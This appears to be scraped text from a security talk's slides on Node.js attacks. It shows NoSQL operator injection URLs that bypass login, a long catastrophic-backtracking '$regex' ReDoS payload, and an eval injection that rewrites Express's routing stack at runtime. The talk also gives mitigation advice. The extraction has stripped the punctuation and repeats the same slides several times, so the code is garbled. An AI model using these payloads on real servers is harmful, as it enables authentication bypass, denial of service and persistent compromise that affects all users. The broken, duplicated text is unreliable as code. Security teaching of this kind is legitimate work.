a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 22: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

hellip

If exists hellip

Security ndash User Supplied Data bull Can you spot the vulnerabilities in the

code

bull Fix

25

QueryString -gt Object -gt JSON

reswrite(JSONstringify(reqquery))

Query String Reqquery JSON of the object

created

httplocalhost11111a=b

Obja = ldquobrdquo ab

httplocalhost11111a=bampc=d

Obja = ldquobrdquo

Objc = ldquodrdquo

abcd

httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo

Objc = ldquodrdquo

a[bz]cd

httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo

Objc = ldquodrdquo

a[b]cd

httplocalhost11111a[s]=bampc=d

Objas = ldquobrdquo

Objc = ldquodrdquo

asbcd

QSServerjs

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

Security ndash User Supplied Data

27

What if we use the following query

dbusersfind(username $gt ldquoardquo

password $gt ldquoardquo

Security ndash User Supplied Data

28

dbusersfind(user $gt ldquoardquo

pass $gt ldquoardquo

httpserverpageuser[$gt]=aamppass[$gt]=a

Instead of

objuser = ldquoMatyrdquo

objpass = ldquo123rdquo

We can use

Objuser$gt=ldquoardquo

Objpass$gt=ldquoardquo

JSON-base SQL Injection

bull NodeJS being a JSON based language

can accept JSON values for the find

method

bull A user can bypass it by sending

29

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

httpserverpageuser[$gt]=aamppass[$gt]=a

DEMO

httplocalhost49090user=hiamppass=bye

JSON-base SQL Injection

bull You can use the following

Then

31

dbusersfind(username username)

bcryptcompare(candidatePassword password cb)

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 23: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

QueryString -gt Object -gt JSON

reswrite(JSONstringify(reqquery))

Query String Reqquery JSON of the object

created

httplocalhost11111a=b

Obja = ldquobrdquo ab

httplocalhost11111a=bampc=d

Obja = ldquobrdquo

Objc = ldquodrdquo

abcd

httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo

Objc = ldquodrdquo

a[bz]cd

httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo

Objc = ldquodrdquo

a[b]cd

httplocalhost11111a[s]=bampc=d

Objas = ldquobrdquo

Objc = ldquodrdquo

asbcd

QSServerjs

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

Security ndash User Supplied Data

27

What if we use the following query

dbusersfind(username $gt ldquoardquo

password $gt ldquoardquo

Security ndash User Supplied Data

28

dbusersfind(user $gt ldquoardquo

pass $gt ldquoardquo

httpserverpageuser[$gt]=aamppass[$gt]=a

Instead of

objuser = ldquoMatyrdquo

objpass = ldquo123rdquo

We can use

Objuser$gt=ldquoardquo

Objpass$gt=ldquoardquo

JSON-base SQL Injection

bull NodeJS being a JSON based language

can accept JSON values for the find

method

bull A user can bypass it by sending

29

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

httpserverpageuser[$gt]=aamppass[$gt]=a

DEMO

httplocalhost49090user=hiamppass=bye

JSON-base SQL Injection

bull You can use the following

Then

31

dbusersfind(username username)

bcryptcompare(candidatePassword password cb)

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 24: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

Security ndash User Supplied Data

27

What if we use the following query

dbusersfind(username $gt ldquoardquo

password $gt ldquoardquo

Security ndash User Supplied Data

28

dbusersfind(user $gt ldquoardquo

pass $gt ldquoardquo

httpserverpageuser[$gt]=aamppass[$gt]=a

Instead of

objuser = ldquoMatyrdquo

objpass = ldquo123rdquo

We can use

Objuser$gt=ldquoardquo

Objpass$gt=ldquoardquo

JSON-base SQL Injection

bull NodeJS being a JSON based language

can accept JSON values for the find

method

bull A user can bypass it by sending

29

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

httpserverpageuser[$gt]=aamppass[$gt]=a

DEMO

httplocalhost49090user=hiamppass=bye

JSON-base SQL Injection

bull You can use the following

Then

31

dbusersfind(username username)

bcryptcompare(candidatePassword password cb)

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

